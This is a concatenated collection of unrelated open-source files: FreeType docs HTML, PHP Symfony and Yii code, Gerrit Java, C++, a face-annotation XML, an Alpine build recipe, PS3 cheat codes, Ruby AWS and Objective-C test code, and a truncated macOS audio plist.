<tr><td class="link"><a href="ft2-ot_validation.html">OpenType Validation</a></td><td class="desc">
<p>An API to validate OpenType tables.</p>
</td></tr>
<tr><td class="link"><a href="ft2-incremental.html">Incremental Loading</a></td><td class="desc">
<p>Custom Glyph Loading.</p>
</td></tr>
<tr><td class="link"><a href="ft2-truetype_engine.html">The TrueType Engine</a></td><td class="desc">
<p>TrueType bytecode support.</p>
</td></tr>
<tr><td class="link"><a href="ft2-gx_validation.html">TrueTypeGX/AAT Validation</a></td><td class="desc">
<p>An API to validate TrueTypeGX/AAT tables.</p>
</td></tr>
</table>
</div>
<div class="section">
<h2><a href="ft2-index.html">Global Index</a></h2></div>
<hr>
<table class="index-toc-link"><tr><td class="left">[<a href="ft2-index.html">Index</a>]</td></tr></table>
<div class="timestamp">generated on Tue Dec 30 21:42:54 2014</div></body>
</html>
| {
"pile_set_name": "Github"
} |
<?php
namespace OpenSkedge\AppBundle\Form;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolverInterface;
class AvailabilityScheduleType extends AbstractType
{
public function buildForm(FormBuilderInterface $builder, array $options)
{
$builder
->add('schedulePeriod', 'entity', array(
'label' => 'Schedule Period',
'class' => 'OpenSkedgeBundle:SchedulePeriod',
'empty_value' => 'Choose a Schedule Period')
)
;
}
public function setDefaultOptions(OptionsResolverInterface $resolver)
{
$resolver->setDefaults(array(
'data_class' => 'OpenSkedge\AppBundle\Entity\AvailabilitySchedule'
));
}
public function getName()
{
return 'schedulePeriod';
}
}
| {
"pile_set_name": "Github"
} |
<?php
/**
* @link http://www.yiiframework.com/
* @copyright Copyright (c) 2008 Yii Software LLC
* @license http://www.yiiframework.com/license/
*/
/**
* Message translations.
*
* This file is automatically generated by 'yii message/extract' command.
* It contains the localizable messages extracted from source code.
* You may modify this file by translating the extracted messages.
*
* Each array element represents the translation (value) of a message (key).
* If the value is empty, the message is considered as not translated.
* Messages that no longer need translation will have their translations
* enclosed between a pair of '@@' marks.
*
* Message string can be used with plural forms format. Check i18n section
* of the guide for details.
*
* NOTE: this file must be saved in UTF-8 encoding.
*/
return [
' and ' => ' en ',
'"{attribute}" does not support operator "{operator}".' => '"{attribute}" ondersteun nie operateur "{operator}" nie.',
'(not set)' => '(nie gestel nie)',
'An internal server error occurred.' => '\'n Interne bediener fout het plaasgevind.',
'Are you sure you want to delete this item?' => 'Is jy seker jy wil hierdie item skrap?',
'Condition for "{attribute}" should be either a value or valid operator specification.' => 'Voorwaarde vir "{attribute}" moet óf \'n waarde, óf \'n geldige operateurspesifikasie wees.',
'Delete' => 'Skrap',
'Error' => 'Fout',
'File upload failed.' => 'Lêeroplaai het misluk.',
'Home' => 'Tuis',
'Invalid data received for parameter "{param}".' => 'Ongeldige data ontvang vir parameter "{param}".',
'Login Required' => 'Inteken vereis',
'Missing required arguments: {params}' => 'Vereiste argumente ontbreek: {params}',
'Missing required parameters: {params}' => 'Vereiste parameters ontbreek: {params}',
'No' => 'Nee',
'No results found.' => 'Geen resultate gevind nie.',
'Only files with these MIME types are allowed: {mimeTypes}.' => 'Slegs lêers met hierdie MIME-tipes word toegelaat: {mimeTypes}.',
'Only files with these extensions are allowed: {extensions}.' => 'Slegs hierdie soort lêers word toegelaat: {extensions}.',
'Operator "{operator}" must be used with a search attribute.' => 'Operateur "{operator}" moet gebruik word met \'n soekkenmerk.',
'Operator "{operator}" requires multiple operands.' => 'Operateur "{operator}" vereis veelvuldige operande.',
'Page not found.' => 'Bladsy nie gevind nie.',
'Please fix the following errors:' => 'Maak asseblief die volgende foute reg:',
'Please upload a file.' => 'Laai asseblief \'n lêer op.',
'Powered by {yii}' => 'Aangedryf deur {yii}',
'Showing <b>{begin, number}-{end, number}</b> of <b>{totalCount, number}</b> {totalCount, plural, one{item} other{items}}.' => '',
'The combination {values} of {attributes} has already been taken.' => 'Die kombinasie {values} van {attributes} is reeds geneem.',
'The file "{file}" is not an image.' => 'Die lêer "{file}" is nie \'n prent nie.',
'The file "{file}" is too big. Its size cannot exceed {formattedLimit}.' => 'Die lêer "{file}" is te groot. Die grootte daarvan kan nie groter as {formattedLimit} wees nie.',
'The file "{file}" is too small. Its size cannot be smaller than {formattedLimit}.' => 'Die lêer "{file}" is te klein. Die grootte daarvan kan nie kleiner as {formattedLimit} wees nie.',
'The format of {attribute} is invalid.' => 'Die formaat van {attribute} is nie geldig nie.',
'The format of {filter} is invalid.' => 'Die formaat van {filter} is nie geldig nie.',
'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Die prent "{file}" is te groot. Die hoogte kan nie groter as {limit, number} {limit, plural, one{spikkel} other{spikkels}} wees nie.',
'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Die prent "{file}" is te groot. Die wydte kan nie groter as {limit, number} {limit, plural, one{spikkel} other{spikkels}} wees nie.',
'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Die prent "{file}" is te klein. Die hoogte kan nie kleiner as {limit, number} {limit, plural, one{spikkel} other{spikkels}} wees nie.',
'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Die prent "{file}" is te klein. Die hoogte kan nie kleiner as {limit, number} {limit, plural, one{spikkel} other{spikkels}} wees nie.',
'The requested view "{name}" was not found.' => 'Die versoekte aansig "{name}" is nie gevind nie.',
'The verification code is incorrect.' => 'Die verifikasiekode is verkeerd.',
'Total <b>{count, number}</b> {count, plural, one{item} other{items}}.' => 'Totaal <b>{count, number}</b> {count, plural, one{item} other{items}}.',
'Unable to verify your data submission.' => 'Die data wat voorgelê is, kon nie verifieer word nie.',
'Unknown alias: -{name}' => 'Onbekende alias: -{name}',
'Unknown filter attribute "{attribute}"' => 'Onbekende filterkenmerk "{attribute}',
'Unknown option: --{name}' => 'Onbekende opsie: --{name}',
'Update' => 'Opdateer',
'View' => 'Beskou',
'Yes' => 'Ja',
'Yii Framework' => 'Yii Raamwerk',
'You are not allowed to perform this action.' => 'Jy mag nie hierdie aksie uitvoer nie.',
'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Jy kan \'n maksimum van {limit, number} {limit, plural, one{lêer} other{lêers}} oplaai.',
'You should upload at least {limit, number} {limit, plural, one{file} other{files}}.' => 'Jy moet ten minste {limit, number} {limit, plural, one{lêer} other{lêers}} oplaai.',
'in {delta, plural, =1{a day} other{# days}}' => 'oor {delta, plural, =1{\'n dag} other{# dae}}',
'in {delta, plural, =1{a minute} other{# minutes}}' => 'oor {delta, plural, =1{\'n minuut} other{# minute}}',
'in {delta, plural, =1{a month} other{# months}}' => 'oor {delta, plural, =1{\'n maand} other{# maande}}',
'in {delta, plural, =1{a second} other{# seconds}}' => 'oor {delta, plural, =1{\'n sekonde} other{# sekondes}}',
'in {delta, plural, =1{a year} other{# years}}' => 'oor {delta} jaar',
'in {delta, plural, =1{an hour} other{# hours}}' => 'oor {delta} uur',
'just now' => 'netnou',
'the input value' => 'die insetwaarde',
'{attribute} "{value}" has already been taken.' => '{attribute} "{value}" is reeds geneem.',
'{attribute} cannot be blank.' => '{attribute} kan nie leeg wees nie.',
'{attribute} contains wrong subnet mask.' => '{attribute} bevat verkeerde subnetmasker.',
'{attribute} is invalid.' => '{attribute} is nie geldig nie.',
'{attribute} is not a valid URL.' => '{attribute} is nie \'n geldige webadres nie.',
'{attribute} is not a valid email address.' => '{attribute} is nie \'n geldige e-posadres nie.',
'{attribute} is not in the allowed range.' => '{attribute} is nie in die toegelate reeks nie.',
'{attribute} must be "{requiredValue}".' => '{attribute} moet "{requiredValue}" wees.',
'{attribute} must be a number.' => '{attribute} moet \'n nommer wees.',
'{attribute} must be a string.' => '{attribute} moet teks wees.',
'{attribute} must be a valid IP address.' => '{attribute} moet \'n geldige IP-adres wees.',
'{attribute} must be an IP address with specified subnet.' => '{attribute} waarde moet \'n IP-adres met gespesifiseerde subnet wees.',
'{attribute} must be an integer.' => '{attribute} moet \'n heelgetal wees.',
'{attribute} must be either "{true}" or "{false}".' => '{attribute} moet óf "{true}" óf "{false}" wees.',
'{attribute} must be equal to "{compareValueOrAttribute}".' => '{attribute} moet gelyk wees aan "{compareValueOrAttribute}".',
'{attribute} must be greater than "{compareValueOrAttribute}".' => '{attribute} moet groter as "{compareValueOrAttribute}" wees.',
'{attribute} must be greater than or equal to "{compareValueOrAttribute}".' => '{attribute} moet groter of gelyk aan "{compareValueOrAttribute}" wees.',
'{attribute} must be less than "{compareValueOrAttribute}".' => '{attribute} moet minder as "{compareValueOrAttribute}" wees.',
'{attribute} must be less than or equal to "{compareValueOrAttribute}".' => '{attribute} moet minder as of gelyk aan "{compareValueOrAttribute}" wees.',
'{attribute} must be no greater than {max}.' => '{attribute} mag nie groter as {max} wees nie.',
'{attribute} must be no less than {min}.' => '{attribute} mag nie kleiner as {min} wees nie.',
'{attribute} must not be a subnet.' => '{attribute} mag nie \'n subnet wees nie.',
'{attribute} must not be an IPv4 address.' => '{attribute} mag nie \'n IPv4-adres wees nie.',
'{attribute} must not be an IPv6 address.' => '{attribute} mag nie \'n IPv6-adres wees nie.',
'{attribute} must not be equal to "{compareValueOrAttribute}".' => '{attribute} moet nie gelyk aan "{compareValueOrAttribute}" wees nie.',
'{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} moet ten minste {min, number} {min, plural, one{karakter} other{karakters}} bevat.',
'{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} moet hoogstens {max, number} {max, plural, one{karakter} other{karakters}} bevat.',
'{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} moet {length, number} {length, plural, one{karakter} other{karakters}} bevat.',
'{delta, plural, =1{1 day} other{# days}}' => '{delta, plural, =1{1 dag} other{# dae}}',
'{delta, plural, =1{1 hour} other{# hours}}' => '{delta} uur',
'{delta, plural, =1{1 minute} other{# minutes}}' => '{delta, plural, =1{1 minuut} other{# minute}}',
'{delta, plural, =1{1 month} other{# months}}' => '{delta, plural, =1{1 maand} other{# maande}}',
'{delta, plural, =1{1 second} other{# seconds}}' => '{delta, plural, =1{1 sekonde} other{# sekondes}}',
'{delta, plural, =1{1 year} other{# years}}' => '{delta} jaar',
'{delta, plural, =1{a day} other{# days}} ago' => '{delta, plural, =1{\'n dag} other{# dae}} gelede',
'{delta, plural, =1{a minute} other{# minutes}} ago' => '{delta, plural, =1{\'n minuut} other{# minute}} gelede',
'{delta, plural, =1{a month} other{# months}} ago' => '{delta, plural, =1{\'n maand} other{# maande}} gelede',
'{delta, plural, =1{a second} other{# seconds}} ago' => '{delta, plural, =1{\'n sekonde} other{# sekondes}} gelede',
'{delta, plural, =1{a year} other{# years}} ago' => '{delta} jaar gelede',
'{delta, plural, =1{an hour} other{# hours}} ago' => '{delta} uur gelede',
'{nFormatted} B' => '{nFormatted} B',
'{nFormatted} GB' => '{nFormatted} GB',
'{nFormatted} GiB' => '{nFormatted} GiB',
'{nFormatted} kB' => '{nFormatted} KB',
'{nFormatted} KiB' => '{nFormatted} KiB',
'{nFormatted} MB' => '{nFormatted} MB',
'{nFormatted} MiB' => '{nFormatted} MiB',
'{nFormatted} PB' => '{nFormatted} PB',
'{nFormatted} PiB' => '{nFormatted} PiB',
'{nFormatted} TB' => '{nFormatted} TB',
'{nFormatted} TiB' => '{nFormatted} TiB',
'{nFormatted} {n, plural, =1{byte} other{bytes}}' => '{nFormatted} {n, plural, =1{greep} other{grepe}}',
'{nFormatted} {n, plural, =1{gibibyte} other{gibibytes}}' => '{nFormatted} {n, plural, =1{gibigreep} other{gibigrepe}}',
'{nFormatted} {n, plural, =1{gigabyte} other{gigabytes}}' => '{nFormatted} {n, plural, =1{gigagreep} other{gigagrepe}}',
'{nFormatted} {n, plural, =1{kibibyte} other{kibibytes}}' => '{nFormatted} {n, plural, =1{kibigreep} other{kibigrepe}}',
'{nFormatted} {n, plural, =1{kilobyte} other{kilobytes}}' => '{nFormatted} {n, plural, =1{kilogreep} other{kilogrepe}}',
'{nFormatted} {n, plural, =1{mebibyte} other{mebibytes}}' => '{nFormatted} {n, plural, =1{mebigreep} other{mebigrepe}}',
'{nFormatted} {n, plural, =1{megabyte} other{megabytes}}' => '{nFormatted} {n, plural, =1{megagreep} other{megagrepe}}',
'{nFormatted} {n, plural, =1{pebibyte} other{pebibytes}}' => '{nFormatted} {n, plural, =1{pebigreep} other{pebigrepe}}',
'{nFormatted} {n, plural, =1{petabyte} other{petabytes}}' => '{nFormatted} {n, plural, =1{petagreep} other{petagrepe}}',
'{nFormatted} {n, plural, =1{tebibyte} other{tebibytes}}' => '{nFormatted} {n, plural, =1{tebigreep} other{tebigrepe}}',
'{nFormatted} {n, plural, =1{terabyte} other{terabytes}}' => '{nFormatted} {n, plural, =1{teragreep} other{teragrepe}}',
];
| {
"pile_set_name": "Github"
} |
// Copyright (C) 2009 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package com.google.gerrit.pgm.init;
import static com.google.gerrit.server.notedb.NoteDbTable.CHANGES;
import static com.google.gerrit.server.notedb.NotesMigration.SECTION_NOTE_DB;
import static com.google.inject.Stage.PRODUCTION;
import com.google.common.base.Strings;
import com.google.common.collect.Sets;
import com.google.gerrit.pgm.init.api.ConsoleUI;
import com.google.gerrit.pgm.init.api.InitFlags;
import com.google.gerrit.pgm.init.api.InitStep;
import com.google.gerrit.pgm.init.api.Section;
import com.google.gerrit.server.config.GerritServerIdProvider;
import com.google.gerrit.server.config.SitePaths;
import com.google.gerrit.server.notedb.NotesMigrationState;
import com.google.inject.Binding;
import com.google.inject.Guice;
import com.google.inject.Inject;
import com.google.inject.Injector;
import com.google.inject.Key;
import com.google.inject.Singleton;
import com.google.inject.TypeLiteral;
import com.google.inject.name.Named;
import com.google.inject.name.Names;
import java.lang.annotation.Annotation;
import java.util.List;
import java.util.Set;
import org.eclipse.jgit.lib.Config;
/** Initialize the {@code database} configuration section. */
@Singleton
class InitDatabase implements InitStep {
private final ConsoleUI ui;
private final SitePaths site;
private final Libraries libraries;
private final InitFlags flags;
private final Section database;
private final Section idSection;
private final Section noteDbChanges;
@Inject
InitDatabase(
ConsoleUI ui,
SitePaths site,
Libraries libraries,
InitFlags flags,
Section.Factory sections) {
this.ui = ui;
this.site = site;
this.libraries = libraries;
this.flags = flags; // Don't grab any flags yet; they aren't initialized until BaseInit#run.
this.database = sections.get("database", null);
this.idSection = sections.get(GerritServerIdProvider.SECTION, null);
this.noteDbChanges = sections.get(SECTION_NOTE_DB, CHANGES.key());
}
@Override
public void run() {
initSqlDb();
if (flags.isNew) {
initNoteDb();
}
}
private void initSqlDb() {
ui.header("SQL Database");
Set<String> allowedValues = Sets.newTreeSet();
Injector i = Guice.createInjector(PRODUCTION, new DatabaseConfigModule(site));
List<Binding<DatabaseConfigInitializer>> dbConfigBindings =
i.findBindingsByType(new TypeLiteral<DatabaseConfigInitializer>() {});
for (Binding<DatabaseConfigInitializer> binding : dbConfigBindings) {
Annotation annotation = binding.getKey().getAnnotation();
if (annotation instanceof Named) {
allowedValues.add(((Named) annotation).value());
}
}
if (!Strings.isNullOrEmpty(database.get("url"))
&& Strings.isNullOrEmpty(database.get("type"))) {
database.set("type", "jdbc");
}
String dbType = database.select("Database server type", "type", "h2", allowedValues);
DatabaseConfigInitializer dci =
i.getInstance(Key.get(DatabaseConfigInitializer.class, Names.named(dbType.toLowerCase())));
if (dci instanceof MySqlInitializer) {
libraries.mysqlDriver.downloadRequired();
} else if (dci instanceof MariaDbInitializer) {
libraries.mariadbDriver.downloadRequired();
} else if (dci instanceof OracleInitializer) {
libraries.oracleDriver.downloadRequired();
} else if (dci instanceof DB2Initializer) {
libraries.db2Driver.downloadRequired();
} else if (dci instanceof HANAInitializer) {
libraries.hanaDriver.downloadRequired();
}
dci.initConfig(database);
// Initialize UUID for NoteDb on first init.
String id = idSection.get(GerritServerIdProvider.KEY);
if (Strings.isNullOrEmpty(id)) {
idSection.set(GerritServerIdProvider.KEY, GerritServerIdProvider.generate());
}
}
private void initNoteDb() {
ui.header("NoteDb Database");
ui.message(
"Use NoteDb for change metadata?\n"
+ " See documentation:\n"
+ " https://gerrit-review.googlesource.com/Documentation/note-db.html\n");
if (!ui.yesno(true, "Enable")) {
return;
}
Config defaultConfig = new Config();
NotesMigrationState.FINAL.setConfigValues(defaultConfig);
for (String name : defaultConfig.getNames(SECTION_NOTE_DB, CHANGES.key())) {
noteDbChanges.set(name, defaultConfig.getString(SECTION_NOTE_DB, CHANGES.key(), name));
}
}
}
| {
"pile_set_name": "Github"
} |
#include "sage3basic.h"
#include "InterProcDataFlowAnalysis.h"
#include <boost/foreach.hpp>
#define foreach BOOST_FOREACH
void InterProcDataFlowAnalysis::run () {
bool change;
int iteration = 0;
do {
change = false;
std::vector<SgFunctionDeclaration*> processingOrder;
getFunctionDeclarations(processingOrder);
foreach (SgFunctionDeclaration* funcDecl, processingOrder) {
change |= runAndCheckIntraProcAnalysis(funcDecl);
}
iteration++;
} while (change);
std::cout << "Total Interprocedural iterations: " << iteration << std::endl;
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" ?>
<annotation>
<folder>widerface</folder>
<filename>1--Handshaking_1_Handshaking_Handshaking_1_164.jpg</filename>
<source>
<database>wider face Database</database>
<annotation>PASCAL VOC2007</annotation>
<image>flickr</image>
<flickrid>-1</flickrid>
</source>
<owner>
<flickrid>yanyu</flickrid>
<name>yanyu</name>
</owner>
<size>
<width>1024</width>
<height>1259</height>
<depth>3</depth>
</size>
<segmented>0</segmented>
<object>
<name>face</name>
<pose>Unspecified</pose>
<truncated>1</truncated>
<difficult>0</difficult>
<bndbox>
<xmin>223</xmin>
<ymin>101</ymin>
<xmax>351</xmax>
<ymax>275</ymax>
</bndbox>
<lm>
<x1>282.625</x1>
<y1>174.375</y1>
<x2>329.656</x2>
<y2>186.406</y2>
<x3>315.438</x3>
<y3>210.469</y3>
<x4>269.5</x4>
<y4>222.5</y4>
<x5>312.156</x5>
<y5>236.719</y5>
<visible>1</visible>
<blur>0.84</blur>
</lm>
<has_lm>1</has_lm>
</object>
<object>
<name>face</name>
<pose>Unspecified</pose>
<truncated>1</truncated>
<difficult>0</difficult>
<bndbox>
<xmin>533</xmin>
<ymin>101</ymin>
<xmax>666</xmax>
<ymax>280</ymax>
</bndbox>
<lm>
<x1>558.0</x1>
<y1>170.875</y1>
<x2>619.875</x2>
<y2>166.375</y2>
<x3>582.75</x3>
<y3>204.625</y3>
<x4>569.25</x4>
<y4>229.375</y4>
<x5>616.5</x5>
<y5>229.375</y5>
<visible>0</visible>
<blur>0.88</blur>
</lm>
<has_lm>1</has_lm>
</object>
</annotation>
| {
"pile_set_name": "Github"
} |
# Contributor: David Demelier <[email protected]>
# Maintainer: David Demelier <[email protected]>
pkgname=libretro-gpsp
pkgver=0_git20200405
pkgrel=0
_commit="514cb1e66b24a5935eb17a5f918a13ec631a1959"
pkgdesc="gpSP for libretro"
url="https://github.com/libretro/gpsp"
arch="all"
license="GPL-2.0-only"
source="$pkgname-$_commit.tar.gz::https://github.com/libretro/gpsp/archive/$_commit.tar.gz"
builddir="$srcdir/gpsp-$_commit"
options="!check" # No tests
build() {
make
}
package() {
install -Dm644 gpsp_libretro.so "$pkgdir"/usr/lib/libretro/gpsp_libretro.so
}
sha512sums="80c625c1431ec50837ee1a6142c86f948c5dda61b32bb215f1ffe72c697e0dce94abfa280cece6825cacc5c814eafb66fe30aa0966ae61e956e67b2602345831 libretro-gpsp-514cb1e66b24a5935eb17a5f918a13ec631a1959.tar.gz"
| {
"pile_set_name": "Github"
} |
好奇心原文链接:[「万物简史」关于空气污染的概念,它其实“进化”了_文化_好奇心日报-苏琦](https://www.qdaily.com/articles/31229.html)
WebArchive归档链接:[「万物简史」关于空气污染的概念,它其实“进化”了_文化_好奇心日报-苏琦](http://web.archive.org/web/20180921080635/http://www.qdaily.com:80/articles/31229.html)
 | {
"pile_set_name": "Github"
} |
# PCSF00485
_V0 Infinite Health
$0000 821C60EC 00000004
_V0 Max Health
$0200 81FEAEAC 0003087D
_V0 Infinite/Max Health
$0000 821C60EC 00000014
$0200 81FEAEAC 0003087D
_V0 Infinite/Max Bolts
$0200 821C6F40 3B9AC9FF
$0200 81FEAE98 3B9AC9FF
_V0 Infinite Jump
$C203 00000001 00004000
$0200 821C3F6C FFFF0000
$C203 00000001 00000000
$0200 821C3F6C 00000000
_V0 { SHIP CODES }
$0000 00000000 00000000
_V0 Infinite Health
$0000 8231B2B8 00000064
_V0 Infinite Shield
$0000 8201858C 00000020
_V0 Infinite Boost
$0200 820185B4 00000248
_V0 Infinite Missiles
$0000 820184C4 0000000A
_V0 0 Ships Remain
$0000 8231B2A0 00000000
_V0 Max Raritanium
$0200 81FEAE9C 3B9AC9FF
_V0 { AMMO CODES }
$0000 00000000 00000000
_V0 Infinite Lancer Ammo
$0000 821C62E4 000000C8
_V0 Infinite Gravity Bombs
$0000 821C6314 00000008
_V0 Infinite Chopper Ammo
$0000 821C62C4 00000023
_V0 Infinite Blitz Gun Ammo
$0000 821C62D4 00000028
_V0 Infinite Pulse Rifle
$0000 821C62C8 00000008
_V0 Infinite Miniturret Glove
$0000 821C6310 00000014
_V0 { WEAPON UPGRADE CODES }
$0000 00000000 00000000
_V0 Lancer to Heavy Lancer
$0200 821C65A9 00000023
_V0 Gravity Bomb to Mini Nuke
$0200 821C65D9 00000019
_V0 Chopper to Multi Star
$0000 821C6589 00000040
_V0 Blitz Gun to Blitz Cannon
$0200 821C6599 0000005E
_V0 Pulse Rifle to Vaporizer
$0000 821C658D 00000013
_V0 Miniturret to Megaturret Glove
$0000 821C65D5 0000006D
| {
"pile_set_name": "Github"
} |
source_snapshot_id = 'snapshot-id'
source_region = 'us-east-1'
target_region = 'us-west-2'
# You must configure your EC2 client for the destination region to copy
ec2 = Aws::EC2::Client(region: target_region)
resp = ec2.copy_snapshot({
source_region: source_region,
source_snapshot_id: source_snapshot_id,
})
snapshot_id = resp.snapshot_id
ec2.wait_until(:snapshot_completed, snapshot_ids: [snapshot_id])
| {
"pile_set_name": "Github"
} |
//
// Licensed under the terms in License.txt
//
// Copyright 2010 Allen Ding. All rights reserved.
//
#import "KWAfterAllNode.h"
#import "KWAfterEachNode.h"
#import "KWBeforeAllNode.h"
#import "KWBeforeEachNode.h"
#import "KWCallSite.h"
#import "KWContextNode.h"
#import "KWExampleNodeVisitor.h"
#import "KWExample.h"
#import "KWFailure.h"
#import "KWRegisterMatchersNode.h"
#import "KWSymbolicator.h"
@interface KWContextNode()
@property (nonatomic, assign) NSUInteger performedExampleCount;
@end
@implementation KWContextNode
#pragma mark - Initializing
- (id)initWithCallSite:(KWCallSite *)aCallSite parentContext:(KWContextNode *)node description:(NSString *)aDescription {
self = [super init];
if (self) {
_parentContext = node;
_callSite = aCallSite;
_description = [aDescription copy];
_nodes = [[NSMutableArray alloc] init];
_performedExampleCount = 0;
}
return self;
}
+ (id)contextNodeWithCallSite:(KWCallSite *)aCallSite parentContext:(KWContextNode *)contextNode description:(NSString *)aDescription {
return [[self alloc] initWithCallSite:aCallSite parentContext:contextNode description:aDescription];
}
- (void)addContextNode:(KWContextNode *)aNode {
[(NSMutableArray *)self.nodes addObject:aNode];
}
- (void)setRegisterMatchersNode:(KWRegisterMatchersNode *)aNode {
if (self.registerMatchersNode != nil)
[NSException raise:@"KWContextNodeException" format:@"a register matchers node already exists"];
_registerMatchersNode = aNode;
}
- (void)setBeforeEachNode:(KWBeforeEachNode *)aNode {
if (self.beforeEachNode != nil)
[NSException raise:@"KWContextNodeException" format:@"a before each node already exists"];
_beforeEachNode = aNode;
}
- (void)setAfterEachNode:(KWAfterEachNode *)aNode {
if (self.afterEachNode != nil)
[NSException raise:@"KWContextNodeException" format:@"an after each node already exists"];
_afterEachNode = aNode;
}
- (void)addItNode:(KWItNode *)aNode {
[(NSMutableArray *)self.nodes addObject:aNode];
}
- (void)addPendingNode:(KWPendingNode *)aNode {
[(NSMutableArray *)self.nodes addObject:aNode];
}
- (void)performExample:(KWExample *)example withBlock:(void (^)(void))exampleBlock
{
void (^innerExampleBlock)(void) = [exampleBlock copy];
void (^outerExampleBlock)(void) = ^{
@try {
[self.registerMatchersNode acceptExampleNodeVisitor:example];
if (self.performedExampleCount == 0) {
[self.beforeAllNode acceptExampleNodeVisitor:example];
}
[self.beforeEachNode acceptExampleNodeVisitor:example];
innerExampleBlock();
[self.afterEachNode acceptExampleNodeVisitor:example];
if ([example isLastInContext:self]) {
[self.afterAllNode acceptExampleNodeVisitor:example];
}
} @catch (NSException *exception) {
KWFailure *failure = [KWFailure failureWithCallSite:self.callSite format:@"%@ \"%@\" raised", [exception name], [exception reason]];
[example reportFailure:failure];
}
self.performedExampleCount++;
};
if (self.parentContext == nil) {
outerExampleBlock();
}
else {
[self.parentContext performExample:example withBlock:outerExampleBlock];
}
}
#pragma mark - Accepting Visitors
- (void)acceptExampleNodeVisitor:(id<KWExampleNodeVisitor>)aVisitor {
[aVisitor visitContextNode:self];
}
@end
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommonPeripheralDSP</key>
<array>
<dict>
<key>DeviceID</key>
<integer>0</integer>
<key>DeviceType</key>
<string>Headphone</string>
</dict>
<dict>
<key>DeviceID</key>
<integer>0</integer>
<key>DeviceType</key>
<string>Microphone</string>
</dict>
</array>
<key>PathMaps</key>
<array>
<dict>
<key>Comment</key>
<string>MacPeet - Realtek ALC257</string>
<key>PathMap</key>
<array>
<array>
<array>
<array>
<dict>
<key>Amp</key>
<dict>
<key>Channels</key>
<array>
<dict>
<key>Bind</key>
<integer>1</integer>
<key>Channel</key>
<integer>1</integer>
</dict>
<dict>
<key>Bind</key>
<integer>2</integer>
<key>Channel</key>
<integer>2</integer>
</dict>
</array>
<key>MuteInputAmp</key>
<true/>
<key>PublishMute</key>
<true/>
<key>PublishVolume</key>
<true/>
<key>VolumeInputAmp</key>
<true/>
</dict>
<key>NodeID</key>
<integer>8</integer>
</dict>
<dict>
<key>Amp</key>
<dict>
<key>Channels</key>
<array>
<dict>
<key>Bind</key>
<integer>1</integer>
<key>Channel</key>
<integer>1</integer>
</dict>
<dict>
<key>Bind</key>
<integer>2</integer>
<key>Channel</key>
<integer>2</integer>
</dict>
</array>
<key>MuteInputAmp</key>
<true/>
<key>PublishMute</key>
<true/>
<key>PublishVolume</key>
<true/>
<key>VolumeInputAmp</key>
<true/>
</dict>
<key>NodeID</key>
<integer>35</integer>
</dict>
<dict>
<key>NodeID</key>
<integer>18</integer>
</dict>
</array>
</array>
</array>
<array>
<array>
<array>
<dict>
<key>Amp</key>
<dict>
<key>Channels</key>
<array>
<dict>
<key>Bind</key>
<integer>1</integer>
<key>Channel</key>
<integer>1</integer>
</dict>
<dict>
<key>Bind</key>
<integer>2</integer>
<key>Channel</key>
<integer>2</integer>
</dict>
</array>
<key>MuteInputAmp</key>
<true/>
<key>PublishMute</key>
<true/>
<key>PublishVolume</key>
<true/>
<key>VolumeInputAmp</key>
<true/>
</dict>
<key>NodeID</key>
<integer>9</integer>
</dict>
<dict>
<key>Amp</key>
<dict>
<key>Channels</key>
<array>
<dict>
<key>Bind</key>
<integer>1</integer>
<key>Channel</key>
<integer>1</integer>
</dict>
<dict>
<key>Bind</key>
<integer>2</integer>
<key>Channel</key>
<integer>2</integer>
</dict>
</array>
<key>MuteInputAmp</key>
<true/>
<key>PublishMute</key>
<true/>
<key>PublishVolume</key>
<true/>
<key>VolumeInputAmp</key>
<true/>
</dict>
<key>NodeID</key>
<integer>34</integer>
</dict>
<dict>
<key>NodeID</key>
<integer>25</integer>
</dict>
</array>
</array>
</array>
<array>
<array>
<array>
<dict>
<key>Amp</key>
<dict>
<key>MuteInputAmp</key>
<false/>
<key>PublishMute</key>
<true/>
<key>PublishVolume</key>
<true/>
<key>VolumeInputAmp</key>
<false/>
</dict>
<key>NodeID</key>
<integer>20</integer>
</dict>
<dict>
<key>Amp</key>
<dict>
<key>Channels</key>
<array>
<dict>
<key>Bind</key>
<integer>1</integer>
<key>Channel</key>
<integer>1</integer>
</dict>
<dict>
<key>Bind</key>
<integer>2</integer>
<key>Channel</key>
<integer>2</integer>
</dict>
</array>
<key>MuteInputAmp</key>
<true/>
<key>PublishMute</key>
<true/>
<key>PublishVolume</key>
<true/>
<key>VolumeInputAmp</key>
<false/>
</dict>
<key>NodeID</key>
<integer>2</integer>
</dict>
</array>
</array>
<array>
<array>
<dict>
<key>Amp</key>
<dict>
<key>MuteInputAmp</key>
<false/>
<key>PublishMute</key>
<true/>
<key>PublishVolume</key>
<true/>
<key>VolumeInputAmp</key>
<false/>
</dict>
<key>NodeID</key>
<integer>33</integer>
</dict>
<dict>
<key>Amp</key>
<dict>
<key>Channels</key>
<array>
<dict>
<key>Bind</key>
<integer>1</integer>
<key>Channel</key>
<integer>1</integer>
</dict>
<dict>
<key>Bind</key>
<integer>2</integer>
<key>Channel</key>
<integer>2</integer>
</dict>
</array>
<key>MuteInputAmp</key>
<true/>
<key>PublishMute</key>
